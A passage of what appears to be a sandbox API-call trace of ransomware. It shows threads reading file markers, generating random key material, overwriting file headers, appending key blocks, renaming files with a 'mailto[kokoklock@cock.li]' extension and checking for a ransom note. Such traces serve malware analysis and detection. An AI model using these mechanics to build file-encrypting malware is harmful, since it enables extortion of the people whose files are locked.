returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.088] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.089] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0166.089] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87bc8 [0166.089] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0166.089] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" [0166.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\d0e731-readme.txt")) returned 0x20 [0166.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8e0) returned 1 [0166.089] RtlExitUserThread (Status=0x1) Thread: id = 1602 os_tid = 0xfe4 [0166.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.092] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.093] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x90ef810 | out: lpFileSize=0x90ef810*=3261) returned 1 [0166.093] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xcb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.093] ReadFile (in: hFile=0x52c, lpBuffer=0x90ef7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x90ef7e0, lpOverlapped=0x0 | out: lpBuffer=0x90ef7e4*, lpNumberOfBytesRead=0x90ef7e0*=0x4, lpOverlapped=0x0) returned 1 [0166.094] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.094] CloseHandle (hObject=0x52c) returned 1 [0166.094] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5690) returned 1 [0166.094] RtlExitUserThread (Status=0x0) Thread: id = 1603 os_tid = 0xfe8 [0166.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.096] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x916f7d4 | out: lpFileSize=0x916f7d4*=80188) returned 1 [0166.096] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x13938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.096] ReadFile (in: hFile=0x52c, lpBuffer=0x916f7a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x916f7a8*, lpNumberOfBytesRead=0x916f7a4*=0x4, lpOverlapped=0x0) returned 1 [0166.098] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4230 [0166.098] NtQuerySystemTime (in: CurrentTime=0x916f780 | out: CurrentTime=0x916f780*=132121213234073267) returned 0x0 [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x72f70c85 [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xe81be785 [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xb50a1a9e [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xd90fcbab [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x44296b2e [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x42263d45 [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x14a7a80a [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x18f6fbbe [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xde951755 [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x91af2caa [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xfc7ee38d [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x89509db [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xfffe33ab [0166.098] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x416455b8 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x8eeeb1f9 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x57cb8c12 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x86fdb019 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x15387ec8 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x38463969 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xa640f8d0 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xfd542ce6 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xdbcb50c2 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x13797660 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x650164f6 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x46ad65b5 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xd50e8ec6 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xcd64fcf2 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x69e85c34 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x2ad6e052 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xb8dbb9f6 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0xb17fbcf2 [0166.099] RtlRandom (in: Seed=0x916f78c | out: Seed=0x916f78c) returned 0x6816d35d [0166.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4258 [0166.111] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.111] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.111] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.111] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x916f758, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x916f758*=0x4096, lpOverlapped=0x0) returned 1 [0166.112] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4280 [0166.113] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4280) returned 1 [0166.113] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.113] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.113] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.113] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.113] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.113] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.113] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x916f758, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x916f758*=0x4096, lpOverlapped=0x0) returned 1 [0166.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.114] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1393c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x916f790, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x916f790*=0x20, lpOverlapped=0x0) returned 1 [0166.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4258*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4258*, lpNumberOfBytesWritten=0x916f7a4*=0x8, lpOverlapped=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x916f7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x916f7bc*, lpNumberOfBytesWritten=0x916f7a4*=0x4, lpOverlapped=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x916f7a4*=0x4, lpOverlapped=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x916f7a4*=0x6c, lpOverlapped=0x0) returned 1 [0166.114] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x916f7a4*=0x20, lpOverlapped=0x0) returned 1 [0166.115] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x916f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x916f7a4*=0x4, lpOverlapped=0x0) returned 1 [0166.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4258) returned 1 [0166.115] CloseHandle (hObject=0x52c) returned 1 [0166.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.115] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.115] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.115] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.120] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.121] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.121] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\3082\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0166.121] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" [0166.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\d0e731-readme.txt")) returned 0x20 [0166.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.122] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d608) returned 1 [0166.122] RtlExitUserThread (Status=0x1) Thread: id = 1604 os_tid = 0xfec [0166.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.127] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.128] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.128] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x91efddc | out: lpFileSize=0x91efddc*=6501) returned 1 [0166.128] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1961, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.128] ReadFile (in: hFile=0x52c, lpBuffer=0x91efdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x91efdac, lpOverlapped=0x0 | out: lpBuffer=0x91efdb0*, lpNumberOfBytesRead=0x91efdac*=0x4, lpOverlapped=0x0) returned 1 [0166.129] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.129] CloseHandle (hObject=0x52c) returned 1 [0166.129] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe55f8) returned 1 [0166.130] RtlExitUserThread (Status=0x0) Thread: id = 1605 os_tid = 0xff0 [0166.131] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.131] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.131] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x926ff38 | out: lpFileSize=0x926ff38*=61008) returned 1 [0166.131] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xee4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.131] ReadFile (in: hFile=0x52c, lpBuffer=0x926ff0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x926ff0c*, lpNumberOfBytesRead=0x926ff08*=0x4, lpOverlapped=0x0) returned 1 [0166.133] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.133] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.133] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.133] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4258 [0166.133] NtQuerySystemTime (in: CurrentTime=0x926fee4 | out: CurrentTime=0x926fee4*=132121213234541892) returned 0x0 [0166.133] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x47fa621b [0166.133] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x341e720a [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xc86588f8 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x157defaf [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x663a3099 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x1c6fa243 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x98bd2388 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x35692771 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xff127a15 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x811abe66 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xa611b51b [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xd415abe3 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x91edacea [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xa34b27e6 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x77af8a3b [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x22473f8a [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x980bedd4 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x4260c2f7 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x9ef8e712 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x20a4c52e [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x52af86f5 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xb79a7b89 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x93aa4bc7 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xa15314e3 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x89cedf9e [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x6b704e18 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xa8887c62 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xff230e62 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x5e108507 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xc59d68d8 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0x56e1ecb6 [0166.134] RtlRandom (in: Seed=0x926fef0 | out: Seed=0x926fef0) returned 0xdc79eb88 [0166.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4280 [0166.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.145] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.145] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x926febc, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x926febc*=0x4096, lpOverlapped=0x0) returned 1 [0166.146] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42a8 [0166.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42a8) returned 1 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.146] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x926febc, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x926febc*=0x4096, lpOverlapped=0x0) returned 1 [0166.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.147] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0xee50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.147] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x926fef4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x926fef4*=0x20, lpOverlapped=0x0) returned 1 [0166.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.147] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: 